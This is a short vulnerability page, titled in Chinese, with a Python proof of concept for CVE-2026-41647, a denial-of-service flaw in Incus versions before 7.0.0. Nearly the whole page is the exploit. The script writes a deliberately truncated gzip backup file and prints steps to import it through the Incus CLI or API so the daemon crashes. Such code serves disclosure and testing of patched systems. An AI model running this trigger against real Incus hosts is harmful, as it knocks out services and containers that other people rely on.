CVE-2026-41647 Incus拒绝服务漏洞

# Proof of Concept for CVE-2026-41647 # This script demonstrates how a truncated storage bucket backup # might trigger the crash in vulnerable Incus versions (< 7.0.0). import os # Create a dummy truncated file acting as a backup malicious_file = "truncated_bucket_backup.tar.gz" with open(malicious_file, 'wb') as f: # Write a partial header to simulate a truncated/corrupt backup f.write(b'\x1f\x8b\x08\x00') # Gzip magic number # The file is intentionally incomplete/truncated print(f"[+] Created truncated backup file: {malicious_file}") # The attacker would then use the Incus API or CLI to import this file. # Example command (conceptual): # incus storage bucket import <pool> <bucket> <malicious_file> print("[+] To exploit: Use the Incus CLI/API to import this truncated backup.") print("[+] Expected Result: Incus daemon crashes due to unhandled error.")
